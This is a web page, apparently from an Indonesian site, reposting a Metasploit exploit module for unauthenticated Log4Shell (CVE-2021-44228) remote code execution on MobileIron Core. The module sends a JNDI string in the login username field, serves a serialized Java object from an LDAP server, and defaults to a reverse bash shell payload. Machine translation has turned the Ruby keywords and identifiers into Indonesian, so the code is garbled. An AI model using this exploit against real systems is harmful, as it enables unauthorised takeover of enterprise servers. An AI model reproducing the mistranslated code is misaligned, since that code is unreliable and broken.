Eksekusi Perintah Jarak Jauh MobileIron Log4Shell

  • Whatsapp
WordPress Donorbox-Donation-Form 7.1.6 Cross Site Scripting
WordPress Donorbox Donation Form Cross Site Scripting

News.nextcloud.asia

##
# Modul ini membutuhkan Metasploit: https://metasploit.com/download
# Sumber saat ini: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Eksploitasi::Remote
Peringkat = Peringkat Luar Biasa

termasuk Msf::Eksploitasi::Remote::Log4Shell
termasuk Msf::Eksploitasi::Remote::HttpClient
tambahkan Msf::Eksploitasi::Remote::AutoCheck

def inisialisasi(_info = {})
super(
‘Name’ => ‘MobileIron Core Unauthenticated JNDI Injection RCE (via Log4Shell)’,
‘Deskripsi’ => %q{
MobileIron Core dipengaruhi oleh kerentanan Log4Shell dimana string JNDI dikirim ke server
akan menyebabkannya terhubung ke penyerang dan membatalkan serial objek Java yang berbahaya. Ini menghasilkan OS
eksekusi perintah dalam konteks pengguna Tomcat.

Modul ini akan memulai server LDAP yang harus disambungkan oleh target.
},
‘Penulis’ => [
‘Spencer McIntyre’, # JNDI/LDAP lib stuff
‘RageLtMan <rageltman[at]sempervictus>’, # JNDI/LDAP lib stuff
‘rwincey’, # ditemukan vektor log4shell di MobileIron
‘jbaines-r7’ # menulis modul ini
],
‘Referensi’ => [
[ ‘CVE’, ‘2021-44228’ ],
[ ‘URL’, ‘https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis’],
[ ‘URL’, ‘https://forums.ivanti.com/s/article/Security-Bulletin-CVE-2021-44228-Remote-code-injection-in-Log4j?language=en_US’ ],
[ ‘URL’, ‘https://www.mandiant.com/resources/mobileiron-log4shell-exploitation’ ]
],
‘DisclosureDate’ => ’21-12-12′,
‘Lisensi’ => MSF_LICENSE,
‘Opsi Default’ => {
‘LAPORAN’ => 443,
‘SSL’ => benar,
‘SRVPORT’ => 389,
‘WfsDelay’ => 30
},
‘Target’ => [
[
‘Linux’, {
‘Platform’ => ‘unix’,
‘Arch’ => [ARCH_CMD],
‘Opsi Default’ => {
‘PAYLOAD’ => ‘cmd/unix/reverse_bash’
}
},
]
],
‘Catatan’ => {
‘Stabilitas’ => [CRASH_SAFE],
‘Efek Samping’ => [IOC_IN_LOGS],
‘AKA’ => [‘Log4Shell’, ‘LogJam’],
‘Keandalan’ => [REPEATABLE_SESSION],
‘Modul Terkait’ => [
‘auxiliary/scanner/http/log4shell_scanner’,
‘exploit/multi/http/log4shell_header_injection’
]
}
)
daftar_pilihan([
OptString.new(‘TARGETURI’, [ true, ‘Base path’, ‘/’])
])
akhir

def tunggu_sampai(&blok)
penyimpanan data[‘WfsDelay’].kali lakukan
break if block.call

tidur(1)
akhir
akhir

cek def
validasi_konfigurasi!

vprint_status(‘Mencoba memicu panggilan balik jndi…’)

memulai layanan
res = pemicu
return Exploit::CheckCode::Unknown(‘Tidak ada respons HTTP yang diterima.’) jika res.nil?

tunggu_sampai { @search_received }
@search_diterima ? Exploit::CheckCode::Rentan : Exploit::CheckCode::Unknown(‘Tidak ada permintaan pencarian LDAP yang diterima.’)
memastikan
pembersihan_layanan
akhir

def build_ldap_search_response_payload
kembali [] jika @search_received

@search_received = benar

kembali [] kecuali @exploiting

print_good(‘Mengirimkan objek Java serial untuk mengeksekusi payload…’)
build_ldap_search_response_payload_inline(‘CommonsBeanutils1’)
akhir

pemicu def
@search_received = salah

kirim_permintaan_cgi(
‘metode’ => ‘POSTING’,
‘uri’ => normalisasi_uri(target_uri, ‘mifs’, ‘j_spring_security_check’),
‘tajuk’ => {
‘Referer’ => “https://#{rhost}#{normalize_uri(target_uri, ‘mifs’, ‘user’, ‘login.jsp’)}”
},
‘enkode’ => salah,
‘vars_post’ => {
‘j_username’ => log4j_jndi_string,
‘j_password’ => Rex::Text.rand_text_alphanumeric(8),
‘logincontext’ => ‘karyawan’
}
)
akhir

def mengeksploitasi
validasi_konfigurasi!
@mengeksploitasi = benar
memulai layanan
res = pemicu
fail_with(Failure::Unreachable, ‘Gagal memicu kerentanan’) jika res.nil?
fail_with(Failure::UnexpectedReply, ‘Server membalas pemicu dengan cara yang tidak terduga’) kecuali res.code == 302

wait_until { @search_received && (!handler_enabled? || session_created?) }
pawang
akhir
akhir

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.